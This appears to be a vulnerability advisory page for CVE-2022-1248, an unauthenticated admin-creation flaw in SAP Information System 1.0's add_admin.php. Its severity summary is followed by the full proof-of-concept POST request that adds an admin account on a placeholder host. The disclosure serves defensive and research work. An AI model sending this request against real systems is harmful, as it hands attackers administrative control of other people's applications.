Headline

CVE-2022-1248: SAP Information System POST Request add_admin.php improper authentication

A vulnerability was found in SAP Information System 1.0 which has been rated as critical. Affected by this issue is the file /SAP_Information_System/controllers/add_admin.php. An unauthenticated attacker is able to create a new admin account for the web application with a simple POST request. Exploit details were disclosed.

2 years ago

CVE

Open in Source

#vulnerability #web #apple #linux

CVSS Meta Temp Score

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CTI Interest Score

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6.6

$0-$5k

2.89

A vulnerability was found in SAP Information System 1.0. It has been rated as critical. Affected by this issue is an unknown code of the file /SAP_Information_System/controllers/add_admin.php of the component POST Request Handler. The manipulation with an unknown input leads to a weak authentication vulnerability. Using CWE to declare the problem leads to CWE-287. Impacted is confidentiality, integrity, and availability.

The weakness was published 04/06/2022. This vulnerability is handled as CVE-2022-1248. The exploitation is known to be easy. The attack may be launched remotely. No form of authentication is required for exploitation. Technical details as well as a exploit are known.

It is declared as proof-of-concept. The exploit is available at vuldb.com. The code used by the exploit is:

POST /SAP_Information_System/controllers/add_admin.php HTTP/1.1 Host: target.com Content-Length: 345 Accept: */* X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYELEK8fMdX63l0iI Origin: http://target.com Referer: http://target.com/SAP_Information_System/Dashboard/pages/Admin.php Accept-Encoding: gzip, deflate Accept-Language: pt-PT,pt;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: PHPSESSID=jjnkf4nmpdm7sca82btt2r4s1c Connection: close

------WebKitFormBoundaryYELEK8fMdX63l0iI Content-Disposition: form-data; name="username"

hacker ------WebKitFormBoundaryYELEK8fMdX63l0iI Content-Disposition: form-data; name="password"

P@ssw0rd! ------WebKitFormBoundaryYELEK8fMdX63l0iI Content-Disposition: form-data; name="user"

admin ------WebKitFormBoundaryYELEK8fMdX63l0iI–

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

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